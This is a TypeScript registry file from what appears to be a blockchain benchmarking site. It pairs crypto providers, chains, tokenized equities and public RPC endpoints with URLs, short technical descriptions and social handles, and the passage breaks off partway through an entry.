provider-registry.ts

/**
 * Provider registry. Optional enrichment for each provider slug that
 * appears in one or more benchmark specs.
 *
 * The registry is purely additive. Providers without an entry still
 * render at /providers/<slug>, they just lack the description, URL,
 * and Twitter handle. Add a new entry when onboarding a provider.
 *
 * Keep descriptions sober and technical. One or two short sentences,
 * factual, no marketing adjectives. Twitter handle without the URL.
 */

export type ProviderRegistryEntry = {
  url: string;
  description: string;
  twitter?: string;

  // Optional rich content surfaced on the product detail page when present.
  // Every field is independently optional; the page renders only the
  // sections that have data, so partial enrichment is safe.
  longDescription?: string;
  chains?: string[];
  features?: string[];
  pricing?: string;
  founded?: number;
  docs?: string;
  github?: string;
  blog?: string;

  /** Parent product slug when this entry is a sub-product of a broader
   * brand (e.g. helius-sender → helius). The product page surfaces a
   * "Part of <parent>" badge and the parent page lists its sub-products.
   * Sub-products keep their own bench rankings — this is editorial
   * cross-linking, not data merging. */
  parent?: string;
};

export const PROVIDER_REGISTRY: Record<string, ProviderRegistryEntry> = {
  // ─── Data aggregator APIs ─────────────────────────────────────
  mobula: {
    url: "https://mobula.io",
    description:
      "Onchain data aggregator covering 80+ chains. WebSocket fast-trade feed, REST market and metadata, wallet portfolio APIs.",
    twitter: "@MobulaFi",
  },
  codex: {
    url: "https://www.codex.io",
    description:
      "Onchain market data API for EVM and Solana. GraphQL and WebSocket feeds for tokens, pairs, trades, and pricing.",
    twitter: "@CodexData",
  },
  geckoterminal: {
    url: "https://www.geckoterminal.com",
    description:
      "DEX data terminal by CoinGecko covering 200+ chains. REST API for pools, tokens, trades, and OHLCV.",
    twitter: "@GeckoTerminal",
  },
  jupiter: {
    url: "https://jup.ag",
    description:
      "Solana swap aggregator. REST APIs for quotes, swap routing, price, and token lists across Solana DEXs.",
    twitter: "@JupiterExchange",
  },
  raydium: {
    url: "https://raydium.io",
    description:
      "Solana AMM with both standard constant-product pools and concentrated liquidity (CLMM). Trade API exposes single-venue swap quotes and route construction over Raydium-owned liquidity only. Not an aggregator.",
    twitter: "@RaydiumProtocol",
  },
  openocean: {
    url: "https://openocean.finance",
    description:
      "Multi-chain DEX aggregator. v4 swap API quotes and routes across EVM chains and Solana, aggregating across multiple AMMs with gas-aware path selection.",
    twitter: "@OpenOceanGlobal",
  },
  moralis: {
    url: "https://moralis.io",
    description:
      "Multi-chain Web3 data API across EVM chains and Solana. REST endpoints for tokens, NFTs, wallets, balances, and prices.",
    twitter: "@MoralisWeb3",
  },
  helius: {
    url: "https://www.helius.dev",
    description:
      "Solana RPC and data provider. Enhanced transactions, webhooks, DAS API for assets, and standard JSON-RPC.",
    twitter: "@heliuslabs",
  },
  zerion: {
    url: "https://zerion.io/api",
    description:
      "Wallet data API behind the Zerion app. Transactions, balances, positions and portfolio across 25+ chains, sub-second indexing claims, free tier at 60k calls/month.",
    twitter: "@zerion",
  },
  allium: {
    url: "https://www.allium.so",
    description:
      "Enterprise blockchain data platform. Real-time wallet and activity APIs across 100+ chains, plus SQL analytics; serves institutional data teams.",
    twitter: "@alliumlabs",
  },
  goldrush: {
    url: "https://goldrush.dev",
    description:
      "Multi-chain wallet data API by Covalent. Transactions, balances and NFT data across 100+ chains with a unified schema; free tier at 100k credits/month.",
    twitter: "@GoldRush_dev",
  },
  dune: {
    url: "https://dune.com",
    description:
      "Onchain analytics platform. SQL-queryable indexed data across EVM chains and Solana, public dashboards, plus the Sim REST API for wallet balances, transactions, token info, holders, and DeFi positions across 60+ EVM mainnets.",
    twitter: "@DuneAnalytics",
  },
  coinpaprika: {
    url: "https://coinpaprika.com",
    description:
      "Independent crypto market data API. Token prices, OHLCV, exchange tickers, and contract/platform lookups across 300+ supported chains. Public free tier with no auth.",
    twitter: "@coinpaprika",
  },
  dexpaprika: {
    url: "https://dexpaprika.com",
    description:
      "DEX data API by the CoinPaprika team. REST endpoints for pools, OHLCV candles, trades, and token prices across 35+ blockchains. No auth required on the public tier.",
    longDescription:
      "DexPaprika is CoinPaprika's dedicated DEX pool indexer, built as a standalone product separate from the market-data API. It exposes REST endpoints for pool discovery, OHLCV candles, live trade feeds, and token prices across 35+ EVM and non-EVM chains. The public tier requires no API key, making it practical for prototyping and open-source tooling. Because DexPaprika is purpose-built for DEX data, its network list reflects actual pool-indexing depth rather than the broader chain coverage of the parent CoinPaprika market-data API.",
    twitter: "@coinpaprika",
    docs: "https://api.dexpaprika.com",
    parent: "coinpaprika",
    features: [
      "Pool discovery and search across 35+ chains",
      "OHLCV candles for any DEX pair",
      "Live trade feed per pool",
      "Token price derived from on-chain DEX data",
      "No API key required on public tier",
    ],
  },
  coinstats: {
    url: "https://coinstats.app",
    description:
      "Portfolio tracker and market data API. REST endpoints for prices, exchanges, NFTs, and wallet balances across 100+ blockchains. Consumer app + paid API tiers.",
    twitter: "@CoinStats",
  },

  // ─── NFT data APIs (bench 040) ────────────────────────────────
  alchemy: {
    url: "https://www.alchemy.com",
    description:
      "Web3 infrastructure provider offering NFT API, RPC nodes, and blockchain data APIs. Multi-chain EVM coverage.",
    twitter: "@AlchemyPlatform",
  },
  opensea: {
    url: "https://opensea.io",
    description:
      "NFT marketplace and data API. Multi-chain support for ERC721/ERC1155 collection metadata and trading data.",
    twitter: "@opensea",
  },

  // ─── EVM swap aggregators / RFQ / routers (bench 002) ─────────
  kyberswap: {
    url: "https://kyberswap.com",
    description:
      "EVM DEX aggregator by Kyber Network. Pathfinder routes across 420+ liquidity sources on 17+ EVM chains, splitting trades atomically for best net output after gas.",
    twitter: "@KyberNetwork",
  },
  paraswap: {
    url: "https://www.paraswap.xyz",
    description:
      "DEX aggregator and DeFi middleware layer. The Augustus Router splits orders across AMMs, PMMs, and direct pools on 10+ EVM chains to minimize price impact and gas costs. Also offers a developer SDK for integrating best-execution routing into dApps and wallets.",
    twitter: "@paraswap",
    longDescription:
      "ParaSwap aggregates liquidity from Uniswap, Curve, Balancer, AAVE, and dozens of other AMMs and market makers via its Augustus Router. Trades are split across multiple paths atomically, selecting the combination that maximises net output after gas. ParaSwap also runs a delta trading layer: a private RFQ network where professional market makers post competitive quotes for large orders, bypassing on-chain pools entirely. The SDK and API are used by Ledger Live, Safe, and other wallets as the routing engine behind their swap UI.",
    docs: "https://developers.paraswap.network",
  },
  bebop: {
    url: "https://bebop.xyz",
    description:
      "Gasless RFQ DEX aggregating onchain and offchain liquidity. Bebop Router and the JAM just-in-time auction model combine market-maker quotes with onchain pools across multiple EVM chains.",
    twitter: "@bebop_dex",
  },
  cow: {
    url: "https://cow.fi",
    description:
      "CoW Protocol settles trades via batch auctions with coincidence-of-wants matching, MEV protection, and solver competition. CoW Swap is the reference frontend; the protocol settles flow from many integrators.",
    twitter: "@CoWSwap",
  },
  enso: {
    url: "https://www.enso.build",
    description:
      "DeFi shared engine that maps onchain interactions into composable actions. The Route API computes optimal multi-step paths across protocols and chains, abstracting approvals, swaps, vault entries, and bridges into a single call.",
    twitter: "@EnsoBuild",
  },

  // ─── Prediction markets (bench 028) ───────────────────────────
  polymarket: {
    url: "https://polymarket.com",
    description:
      "The largest crypto prediction market, settled on Polygon via UMA optimistic oracle. CLOB-style order book hosted on the Polymarket gateway with sub-second publish latency for live odds.",
    twitter: "@Polymarket",
  },
  kalshi: {
    url: "https://kalshi.com",
    description:
      "CFTC-regulated US prediction market exchange. REST trade API (trade-api/v2) with documented per-tier rate limits; the market data WebSocket requires authentication.",
    twitter: "@Kalshi",
  },
  limitless: {
    url: "https://limitless.exchange",
    description:
      "Prediction market on Base mixing CLOB and AMM markets, from 5-minute crypto markets to long-dated events. Public REST API, rate limits undocumented.",
    twitter: "@trylimitless",
  },
  manifold: {
    url: "https://manifold.markets",
    description:
      "Play-money prediction market with AMM-based binary and multiple-choice markets. Documented public API at 500 requests per minute per IP, bots explicitly welcome.",
    twitter: "@ManifoldMarkets",
  },
  myriad: {
    url: "https://myriad.markets",
    description:
      "AMM prediction market with a keyless public REST API budgeted at 30 requests per 10 seconds. No order book endpoint and no public WebSocket.",
    twitter: "@MyriadMarkets",
  },
  predictit: {
    url: "https://www.predictit.org",
    description:
      "CFTC-regulated US political prediction market. Real-money contracts on US elections, legislation and political events. REST API returns market data without authentication; rate-limited to 5 requests per minute.",
    twitter: "@PredictIt_",
    longDescription:
      "PredictIt operates under a CFTC no-action letter and is limited to US political event contracts. Each market is capped at $850 per person per contract. The public REST API at predictit.org/api/marketdata provides market and contract data without authentication but enforces a 5 request per minute rate limit per IP.",
    features: ["US political markets", "CFTC no-action letter", "Public API", "No auth required for market data"],
    docs: "https://www.predictit.org/api/marketdata/all",
    founded: 2014,
  },
  smarkets: {
    url: "https://smarkets.com",
    description:
      "UK-regulated peer-to-peer betting exchange with a public CLOB REST API. Covers political, sports and entertainment markets. No authentication required for market data including full order book quotes.",
    twitter: "@SmarketsHQ",
    longDescription:
      "Smarkets is an FCA-regulated UK betting exchange offering peer-to-peer markets on political outcomes, sports and entertainment. The REST API at api.smarkets.com/v3 exposes full order book data (bids and offers) per market contract without authentication. Political market coverage includes UK and US elections with real orderbook depth.",
    features: ["CLOB order book", "Political and sports markets", "FCA-regulated UK exchange", "No auth for market data"],
    docs: "https://docs.smarkets.com",
    founded: 2010,
  },

  // ─── Solana transaction landing services ──────────────────────
  jito: {
    url: "https://www.jito.wtf",
    description:
      "Solana MEV infrastructure. Block Engine runs an off-chain tip auction for atomic bundles, the oldest production transaction-landing service on Solana.",
    twitter: "@jito_labs",
  },
  "helius-sender": {
    url: "https://www.helius.dev/docs/sending-transactions/sender",
    description:
      "Helius transaction sender for Solana. Dual-path submission to Jito and SWQoS staked validators from 7 regional endpoints, no API credit cost.",
    twitter: "@heliuslabs",
    parent: "helius",
  },
  nozomi: {
    url: "https://www.temporal.xyz/nozomi",
    description:
      "Solana transaction landing service by Temporal Labs. Direct-to-leader submission from 9 colocated regions, tip paid only on successful landing.",
    twitter: "@temporal_xyz",
  },
  leorpc: {
    url: "https://leorpc.com",
    description:
      "LeoRPC is a community Solana RPC operation exposing a publicly documented FREE tier through a query key, one of the few remaining keyless ways to read Solana mainnet.",
  },
  aapl: {
    url: "https://www.apple.com",
    description:
      "Apple tokenized equity measured across issuers on the RWA benchmarks: Robinhood's token on Robinhood Chain (Uniswap v4 vs USDG) and Backed's xStock on Solana (Jupiter executable mid vs USDC), each tracked live against the real market price.",
  },
  nvda: {
    url: "https://www.nvidia.com",
    description:
      "Nvidia tokenized equity measured across issuers on the RWA benchmarks: Robinhood's token on Robinhood Chain (Uniswap v4 vs USDG) and Backed's xStock on Solana (Jupiter executable mid vs USDC), each tracked live against the real market price.",
  },
  googl: {
    url: "https://www.google.com",
    description:
      "Alphabet tokenized equity measured across issuers on the RWA benchmarks: Robinhood's token on Robinhood Chain (Uniswap v4 vs USDG) and Backed's xStock on Solana (Jupiter executable mid vs USDC), each tracked live against the real market price.",
  },
  tsla: {
    url: "https://www.tesla.com",
    description:
      "Tesla tokenized equity measured across issuers on the RWA benchmarks: Robinhood's token on Robinhood Chain (Uniswap v4 vs USDG) and Backed's xStock on Solana (Jupiter executable mid vs USDC), each tracked live against the real market price.",
  },
  pltr: {
    url: "https://www.palantir.com",
    description:
      "Palantir tokenized equity measured across issuers on the RWA benchmarks: Robinhood's token on Robinhood Chain (Uniswap v4 vs USDG) and Backed's xStock on Solana (Jupiter executable mid vs USDC), each tracked live against the real market price.",
  },
  meta: {
    url: "https://www.meta.com",
    description:
      "Meta Platforms tokenized equity measured across issuers on the RWA benchmarks: Robinhood's token on Robinhood Chain (Uniswap v4 vs USDG) and Backed's xStock on Solana (Jupiter executable mid vs USDC), each tracked live against the real market price.",
  },
  amd: {
    url: "https://www.amd.com",
    description:
      "AMD tokenized equity issued by Robinhood on Robinhood Chain (contract 0x86923f96303D656E4aa86D9d42D1e57ad2023fdC), trading against USDG on Uniswap v4 around the clock. OpenChainBench measures its live price deviation from the real market on the tokenized stock peg benchmark.",
  },
  msft: {
    url: "https://www.microsoft.com",
    description:
      "Microsoft tokenized equity measured across issuers on the RWA benchmarks: Robinhood's token on Robinhood Chain (Uniswap v4 vs USDG) and Backed's xStock on Solana (Jupiter executable mid vs USDC), each tracked live against the real market price.",
  },
  amzn: {
    url: "https://www.amazon.com",
    description:
      "Amazon tokenized equity measured across issuers on the RWA benchmarks: Robinhood's token on Robinhood Chain (Uniswap v4 vs USDG) and Backed's xStock on Solana (Jupiter executable mid vs USDC), each tracked live against the real market price.",
  },
  spy: {
    url: "https://www.ssga.com",
    description:
      "SPDR S&P 500 ETF (State Street) tokenized equity measured across issuers on the RWA benchmarks: Robinhood's token on Robinhood Chain (Uniswap v4 vs USDG) and Backed's xStock on Solana (Jupiter executable mid vs USDC), each tracked live against the real market price.",
  },
  mu: {
    url: "https://www.micron.com",
    description:
      "Micron Technology tokenized equity issued by Robinhood on Robinhood Chain (contract 0xfF080c8ce2E5feadaCa0Da81314Ae59D232d4afD), trading against USDG on Uniswap v4 around the clock. OpenChainBench measures its live price deviation from the real market on the tokenized stock peg benchmark.",
  },
  hood: {
    url: "https://robinhood.com",
    description:
      "Robinhood Markets tokenized equity, issued by Backed as HOODx on Solana. Notably absent from Robinhood's own chain: the only onchain HOOD is third party. Tracked live against the Nasdaq price on the xStocks peg benchmark.",
  },
  qqq: {
    url: "https://www.invesco.com",
    description:
      "Invesco QQQ Nasdaq 100 ETF, tokenized by Backed as QQQx on Solana. Tracked live against the real ETF price on the xStocks peg benchmark.",
  },
  coin: {
    url: "https://www.coinbase.com",
    description:
      "Coinbase tokenized equity, issued by Backed as COINx on Solana, a crypto exchange's stock trading on a blockchain. Tracked live against the Nasdaq price on the xStocks peg benchmark.",
  },
  "orca-solana": {
    url: "https://www.orca.so",
    description:
      "Orca is Solana's concentrated liquidity DEX. Its USDY/USDC whirlpool is the deepest genuine venue for Ondo's tokenized treasury and the market leg of the USDY NAV basis benchmark.",
  },
  "pyth-market": {
    url: "https://pyth.network",
    description:
      "Pyth Network's USDY/USD market composite aggregates USDY trading into one feed. Measured against Pyth's own USDY redemption rate feed on the NAV basis benchmark.",
  },
  slash: {
    url: "https://slash.trade",
    description:
      "Slash is a Telegram trading bot for Hyperliquid perps, routing user orders via its builder code and collecting builder fees. Tracked live on the Hyperliquid frontends leaderboard.",
  },
  topdog: {
    url: "https://t.me/topdog_trade_bot",
    description:
      "TopDog is a Telegram-native social trading bot on Hyperliquid, tagline 'Never Trade Alone', built around copying and coordinating around active traders. Routes orders via its builder code.",
  },
  "markets-mobile": {
    url: "https://markets.xyz",
    description:
      "Markets by Kinetiq is a mobile-first Hyperliquid frontend focused on clean UX for perp trading on iOS and Android. Routes flow through its builder code and appears on the Hyperliquid frontends leaderboard.",
  },
  bloxroute: {
    url: "https://bloxroute.com",
    description:
      "bloXroute Labs runs a low-latency blockchain distribution network for traders and validators. Its free Protect RPC routes Ethereum and BSC transactions away from the public mempool, and its Solana relay competes on transaction landing.",
    twitter: "@bloXrouteLabs",
  },
  "0slot": {
    url: "https://0slot.trade",
    description:
      "Solana transaction landing service. SWQoS-based premium sender with globally distributed endpoints (Frankfurt, Amsterdam, NY, Tokyo, LA) and tip-based prioritization.",
    twitter: "@0slot_trade",
  },
  nextblock: {
    url: "https://nextblock.io",
    description:
      "Solana transaction landing service. SWQoS sender backed by a large stake pool, plus a TX Stream API for low-latency mempool-style transaction feeds.",
    twitter: "@nextblock_sol",
  },
  astralane: {
    url: "https://astralane.io",
    description:
      "Solana transaction landing service. Iris sender uses validator co-location and leader-schedule-aware routing for p90 sub-slot latency on high-frequency workloads.",
    twitter: "@Astralaneio",
  },
  solanavibestation: {
    url: "https://solanavibestation.com",
    description:
      "Solana transaction landing service. Lightspeed sender routes through SVS's own ~101K SOL validator pool with co-located bare-metal infra in Atlanta and Amsterdam.",
    twitter: "@solvibestation",
  },

  // ─── Bridges ──────────────────────────────────────────────────
  relay: {
    url: "https://relay.link",
    description:
      "Cross-chain intent network from Reservoir. Users sign an intent, relayers compete to fill on the destination, settlement is typically sub-30 seconds.",
    twitter: "@RelayProtocol",
  },
  lifi: {
    url: "https://li.fi",
    description:
      "Cross-chain bridge and DEX aggregator. Routes swaps across bridges and liquidity sources via a single API, with EVM and Solana support.",
    twitter: "@lifiprotocol",
  },
  debridge: {
    url: "https://debridge.finance",
    description:
      "Cross-chain intent protocol using the DLN solver network. Liquidity is filled by solvers on the destination chain, no wrapped assets or LP pools.",
    twitter: "@deBridgeFinance",
  },
  across: {
    url: "https://across.to",
    description:
      "Optimistic cross-chain bridge by Risk Labs. Intents are filled by relayers who front liquidity on the destination, repaid from a canonical hub pool. Settlement is typically sub-30 seconds on liquid corridors.",
    twitter: "@AcrossProtocol",
    docs: "https://docs.across.to",
  },
  squid: {
    url: "https://squidrouter.com",
    description:
      "Cross-chain swap and liquidity routing built on Axelar. The Squid Router API sources routes across EVM chains via Axelar GMP, covering swaps and bridges in a single call.",
    twitter: "@squidrouter",
    docs: "https://docs.squidrouter.com",
  },
  socket: {
    url: "https://socket.tech",
    description:
      "Cross-chain interoperability protocol and bridge aggregator. The Socket API routes bridging and swap transactions across major EVM chains via underlying bridges including Across, Stargate, and CCTP.",
    twitter: "@SocketDotTech",
    docs: "https://docs.socket.tech",
  },
  "near-intents": {
    url: "https://near-intents.org",
    description:
      "Cross-chain intent layer from NEAR Protocol. The 1Click API runs a solver auction bus, signed quotes are settled by the winning market maker. Quote latency reflects bid arrival, not route search across LPs.",
    twitter: "@NEARProtocol",
    longDescription:
      "Near Intents abstracts cross-chain transfers behind a single solver auction. The client submits an intent (source asset, destination asset, amount, recipient) and a 1Click coordinator polls a pool of market makers for sealed bids. The winning bid is returned as a signed quote that the client can execute by sending funds to a one-time deposit address. Asset coverage is NEP-141 wrapped on the NEAR omni-bridge for EVM and SVM chains, with HyperCore as a destination-only target.",
    docs: "https://docs.near-intents.org",
  },

  // ─── Perp DEX ─────────────────────────────────────────────────
  lighter: {
    url: "https://lighter.xyz",
    description:
      "Onchain perp DEX with a fully onchain orderbook on a zkSync rollup. ZK proofs verify matching, no off-chain sequencer for trade execution.",
    twitter: "@Lighter_xyz",
  },
  hyperliquid: {
    url: "https://hyperliquid.xyz",
    description:
      "Onchain perp DEX on the Hyperliquid L1. Fully onchain orderbook with sub-second matching, no off-chain matching engine.",
    twitter: "@HyperliquidX",
  },
  dydx: {
    url: "https://dydx.trade",
    description:
      "Perp DEX on the dYdX Chain, a Cosmos SDK appchain. Orderbook with off-chain matching and onchain settlement, validators propagate orders via the mempool.",
    twitter: "@dYdX",
  },
  gmx: {
    url: "https://gmx.io",
    description:
      "Perp DEX on Arbitrum and Avalanche. Pool-based execution against GLP and GM vaults, oracle-priced trades with no orderbook.",
    twitter: "@GMX_IO",
  },
  gains: {
    url: "https://gains.trade",
    description:
      "Perp DEX on Polygon, Arbitrum, Base and Solana. Pool-based execution against the gToken vaults, oracle-priced trades with synthetic leverage.",
    twitter: "@GainsNetwork_io",
  },

  // ─── Wallet labels / explorers ────────────────────────────────
  blockscout: {
    url: "https://www.blockscout.com",
    description:
      "Open-source multi-chain EVM block explorer. Exposes address tags and public labels through its REST and JSON-RPC APIs.",
    twitter: "@blockscoutcom",
  },
  oli: {
    url: "https://www.openlabelsinitiative.org",
    description:
      "Open Labels Initiative, a community standard and shared dataset for EVM address labels. Distributes labels via GitHub and a public API.",
    twitter: "@open_labels",
  },
  tonapi: {
    url: "https://tonapi.io",
    description:
      "REST API for the Gram (TON) blockchain. Returns account metadata, known entity names, and address book labels for Gram wallets.",
    twitter: "@tonapi_io",
  },
  stellarexpert: {
    url: "https://stellar.expert",
    description:
      "Block explorer for the Stellar network. Provides a directory API of curated account labels, anchors, and known issuers.",
    twitter: "@stellarexpert",
  },
  xrpscan: {
    url: "https://xrpscan.com",
    description:
      "Block explorer for the XRP Ledger. Offers a public REST API with account info and known wallet names via its names endpoint.",
    twitter: "@xrpscan",
  },
  walletexplorer: {
    url: "https://www.walletexplorer.com",
    description:
      "Bitcoin address clusterer and labeler. Tracks exchange deposit clusters, mixers, and known services since 2013.",
  },

  // ─── L1 chains ────────────────────────────────────────────────
  bnb: {
    url: "https://www.bnbchain.org",
    description:
      "Proof-of-Staked-Authority L1 with 21 active validators rotating per epoch. Probabilistic finality reached after roughly 2 blocks. Block time around 3 seconds.",
    twitter: "@BNBCHAIN",
  },
  avalanche: {
    url: "https://www.avax.network",
    description:
      "Primary Network runs the Snowman BFT consensus derived from Snow protocols. Sub-second deterministic finality with no chain reorganizations.",
    twitter: "@avax",
  },
  sui: {
    url: "https://sui.io",
    description:
      "Move-based L1 using Mysticeti BFT consensus over a DAG. Owned-object transactions bypass consensus via Fast Path. Deterministic finality under one second.",
    twitter: "@SuiNetwork",
  },
  gram: {
    url: "https://ton.org",
    description:
      "Gram (formerly Toncoin, ticker renamed to GRAM in June 2026). BFT Proof-of-Stake L1 with a sharded masterchain and workchain architecture. Deterministic finality within a few seconds. Block time near 5 seconds.",
    twitter: "@ton_blockchain",
  },
  stellar: {
    url: "https://stellar.org",
    description:
      "Federated Byzantine Agreement via the Stellar Consensus Protocol with quorum slices. Deterministic finality per ledger close, roughly every 5 seconds.",
    twitter: "@StellarOrg",
  },
  solana: {
    url: "https://solana.com",
    description:
      "Proof-of-History sequencing combined with Tower BFT consensus. Probabilistic finality at 32 confirmed slots. Slot time around 400 milliseconds.",
    twitter: "@solana",
  },
  tron: {
    url: "https://tron.network",
    description:
      "DPoS L1 with 27 elected Super Representatives. 3-second block times and deterministic finality after about 19 confirmations.",
    twitter: "@trondao",
  },
  ethereum: {
    url: "https://ethereum.org",
    description:
      "PoS chain using Gasper (Casper FFG plus LMD-GHOST). 12-second slots with deterministic finality every two epochs, roughly 12.8 minutes.",
    twitter: "@ethereum",
  },
  cardano: {
    url: "https://cardano.org",
    description:
      "Ouroboros Praos PoS with 20-second slots and 1 block per 20 seconds on average. Probabilistic finality after about 2,160 blocks (k parameter).",
    twitter: "@Cardano",
  },
  litecoin: {
    url: "https://litecoin.org",
    description:
      "PoW chain with 2.5-minute block times and Scrypt mining. UTXO model inherited from Bitcoin with subsidy halvings every 840,000 blocks.",
    twitter: "@litecoin",
  },
  monero: {
    url: "https://www.getmonero.org",
    description:
      "Privacy-focused PoW chain using RandomX, tuned for CPU mining. 2-minute block times with ring signatures of size 16 and stealth addresses by default.",
    twitter: "@monero",
  },

  // ─── Cosmos chains (token-deployment-cost bench) ──────────────
  osmosis: {
    url: "https://osmosis.zone",
    description:
      "Cosmos SDK appchain and the largest IBC-connected DEX. CometBFT consensus with deterministic finality per block, around 6-second block time. TokenFactory module exposes MsgCreateDenom with denom_creation_fee currently set to an empty list, so creating a new denom costs only gas.",
    twitter: "@osmosiszone",
  },
  injective: {
    url: "https://injective.com",
    description:
      "Cosmos SDK L1 with a native onchain orderbook and EVM compatibility layer. CometBFT consensus, sub-second block time, deterministic finality per block. TokenFactory MsgCreateDenom carries a flat 0.1 INJ governance fee on top of gas.",
    twitter: "@injective",
  },
  neutron: {
    url: "https://www.neutron.org",
    description:
      "CosmWasm smart-contract chain secured by Cosmos Hub via Interchain Security. CometBFT consensus with deterministic finality per block, around 2-second block time. TokenFactory denom_creation_fee is empty, so creating a new denom costs only gas.",
    twitter: "@Neutron_org",
  },

  // ─── Ethereum L2 rollups ──────────────────────────────────────
  arbitrum: {
    url: "https://arbitrum.io",
    description:
      "Optimistic rollup built on Nitro stack with a fast-finality sequencer. Sub-second block times (~250 ms) via a 250 ms default block interval, far below the 2 s OP Stack convention. 7-day fraud-proof window for L1 finality.",
    twitter: "@arbitrum",
  },
  optimism: {
    url: "https://www.optimism.io",
    description:
      "Optimistic rollup and the canonical OP Stack reference implementation. 2-second sequencer block time, 7-day fraud-proof window, anchored to Ethereum L1 via batch submissions to the Optimism Portal.",
    twitter: "@Optimism",
  },
  base: {
    url: "https://www.base.org",
    description:
      "Coinbase-operated optimistic rollup on the OP Stack. 2-second sequencer block time, shared bridge with Optimism via the OP Superchain, fastest-growing L2 by TVL since 2024.",
    twitter: "@base",
  },
  blast: {
    url: "https://blast.io",
    description:
      "OP Stack fork with native ETH and stablecoin yield baked into the L2 protocol (ETH rebases via Lido, USDB via MakerDAO). 2-second sequencer block time, otherwise stock OP Stack.",
    twitter: "@Blast_L2",
  },
  mantle: {
    url: "https://www.mantle.xyz",
    description:
      "Modular OP Stack fork using EigenDA for data availability rather than Ethereum calldata, cutting L1 anchoring cost. 2-second sequencer block time, MNT token for gas (ETH-pegged).",
    twitter: "@Mantle_Official",
  },
  linea: {
    url: "https://linea.build",
    description:
      "ConsenSys zkEVM rollup with a prover-bound block cadence. Idle periods batch into longer intervals (p50 around 3-6 s) while busy periods produce blocks closer to the nominal 2 s mark.",
    twitter: "@LineaBuild",
  },
  scroll: {
    url: "https://scroll.io",
    description:
      "Native bytecode-equivalent zkEVM rollup. Sequencer cadence is prover-bound: empty periods see longer gaps between blocks while busy minutes produce blocks at a sub-3-second rate.",
    twitter: "@Scroll_ZKP",
  },
  zksync: {
    url: "https://zksync.io",
    description:
      "Matter Labs' zk-rollup with the ZK Stack reference implementation and a custom LLVM-based VM (EraVM). Batched producer with variable block cadence (p50 ~3-6 s) tied to proof generation rather than fixed sequencer intervals.",
    twitter: "@zksync",
  },
  taiko: {
    url: "https://taiko.xyz",
    description:
      "Based rollup: Ethereum L1 validators sequence the L2 directly via Taiko Inbox contracts, no separate sequencer. Block time around 3 seconds. Fundamentally different trust model from the operator-sequenced rollups in the rest of the field.",
    twitter: "@taikoxyz",
  },

  // ─── Public RPC providers ─────────────────────────────────────
  parity: {
    url: "https://www.parity.io",
    description:
      "Parity Technologies is the primary implementation shop behind Polkadot and Substrate, and the operator of the reference public relay RPC at rpc.polkadot.io. Also builds the Polkadot-JS Apps UI, Kusama tooling, and enterprise Substrate deployments.",
    twitter: "@ParityTech",
  },
  "polkadot-official": {
    url: "https://rpc.polkadot.io",
    description:
      "Parity-operated Polkadot relay-chain public RPC endpoint (rpc.polkadot.io). Substrate JSON-RPC (chain_getHeader, state_getRuntimeVersion, system_health), keyless, rate-limited per IP. The reference endpoint any Polkadot integrator points at before wiring a dedicated node.",
    twitter: "@ParityTech",
  },
  "osmosis-official": {
    url: "https://rpc.osmosis.zone",
    description:
      "Osmosis Foundation-operated public Cosmos SDK RPC endpoint (rpc.osmosis.zone). Tendermint / CometBFT JSON-RPC (status, block, abci_query), keyless, rate-limited per IP. The reference endpoint Keplr and the Osmosis Frontier route through by default.",
    twitter: "@osmosiszone",
  },
  polkachu: {
    url: "https://polkachu.com",
    description:
      "Community-run Cosmos validator and public RPC network. Operates no-key Tendermint RPC endpoints across 40+ Cosmos SDK chains (osmosis-rpc.polkachu.com, cosmos-rpc.polkachu.com, etc.) with archive support on a paid tier.",
    twitter: "@Polkachu_com",
  },
  imperator: {
    url: "https://imperator.co",
    description:
      "Cosmos-native infrastructure provider with a strong IBC and Osmosis ecosystem focus. Runs no-key Tendermint RPC endpoints (rpc-osmosis.imperator.co) alongside its analytics and data products for Cosmos appchains.",
    twitter: "@imperatorco",
  },
  lavenderfive: {
    url: "https://lavenderfive.com",
    description:
      "Cosmos validator running multi-chain no-key RPC endpoints under rpc.lavenderfive.com/<chain> and lcd.lavenderfive.com/<chain>. Covers Osmosis, Cosmos Hub, Neutron, Injective and 20+ other Cosmos SDK chains.",
    twitter: "@LavenderFive",
  },
  "hyperliquid-official": {
    url: "https://hyperliquid.xyz",
    description:
      "Hyperliquid Labs's official public HyperEVM RPC endpoint (rpc.hyperliquid.xyz/evm). Standard EVM JSON-RPC (eth_blockNumber, eth_getBlockByNumber, eth_getBalance), keyless, rate-limited per IP. The reference endpoint HyperCore front-ends and Hyperliquid dashboards route through by default.",
    twitter: "@HyperliquidX",
  },
  stakely: {
    url: "https://stakely.io",
    description:
      "Non-custodial staking + infra provider running keyless public RPC endpoints across HyperEVM, Cosmos, Solana and 30+ chains. Founded 2019, EU-based, self-hosted validator fleet.",
    twitter: "@stakely_io",
  },
  purroofgroup: {
    url: "https://purroofgroup.com",
    description:
      "Community-operated Hyperliquid validator and public RPC (rpc.purroofgroup.com). One of the earliest independent HyperEVM RPC providers; keyless, community-maintained.",
    twitter: "@PurroofGroup",
  },
  hypurrscan: {
    url: "https://hypurrscan.io",
    description:
      "Community HyperEVM block explorer + public RPC gateway (rpc.hypurrscan.io). Indexed transaction search, contract verification, and a no-key HyperEVM JSON-RPC endpoint alongside the explorer UI.",
    twitter: "@hypurrscan",
  },
  trongrid: {
    url: "https://www.trongrid.io",
    description:
      "TRON Foundation's official public API gateway (api.trongrid.io). Serves both the native TRON REST API (wallet/getnowblock, wallet/triggersmartcontract) and an EVM-compatible JSON-RPC endpoint (/jsonrpc). Keyless with a free API-key tier for higher quotas. The reference endpoint every TronWeb/tronbox integrator points at first.",
    twitter: "@Trondao",
  },
  "injective-official": {
    url: "https://injective.com",
    description:
      "Injective Foundation-operated public Tendermint RPC (tm.injective.network). Cosmos SDK JSON-RPC (status, block, abci_query), keyless, rate-limited per IP. The reference endpoint every Injective wallet + orderbook integrator points at first.",
    twitter: "@injective",
  },
  "worldchain-official": {
    url: "https://world.org/world-chain",
    description:
      "Tools for Humanity / World Chain Foundation's official public RPC endpoint (worldchain-mainnet.g.alchemy.com/public, Alchemy-hosted on behalf of the chain). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@worldcoin",
  },
  "kaia-official": {
    url: "https://kaia.io",
    description:
      "Kaia Foundation's official public RPC (public-en.node.kaia.io). Standard EVM JSON-RPC, keyless, rate-limited per IP. The reference endpoint every Kaia dApp integrator points at first, formed from the Klaytn + Finschia merger in Aug 2024.",
    twitter: "@KaiaChain",
  },
  "ink-official": {
    url: "https://inkonchain.com",
    description:
